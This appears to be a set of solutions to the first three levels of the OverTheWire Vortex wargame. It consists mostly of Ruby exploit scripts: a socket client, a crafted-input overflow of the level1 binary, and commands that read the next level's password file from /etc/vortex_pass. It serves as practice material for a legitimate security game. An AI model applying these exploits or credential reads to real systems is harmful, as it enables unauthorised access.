====== Over The Wire - Vortex ======
===== Level 0 =====
require 'socket'
TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s|
sum = 0
4.times {sum += s.recv(4).unpack('V').first}
s.send([sum].pack('V'), 0)
response = ''
response += s.read() until s.eof?
puts response
end
===== Level 1 =====
require 'pty'
begin
PTY.spawn("/vortex/level1") do |stdin, stdout, pid|
stdin.sync = true
reader = Thread.new {
STDOUT.sync = true
STDOUT.write(stdin.read(1)) until stdin.eof?
}
257.times {stdout.write "\\"}
1.times {stdout.write [0xca].pack('V')}
1.times {stdout.write "\\"}
1.times {stdout.write [0xff].pack('V')}
sleep 0.25
stdout.puts
sleep 0.25
stdout.write "cat /etc/vortex_pass/vortex2\n"
sleep 0.25
end
rescue => e
puts e
end
===== Level 2 =====
/vortex/level2 /etc/vortex_pass/vortex3
cat '/tmp/ownership.$$.tar'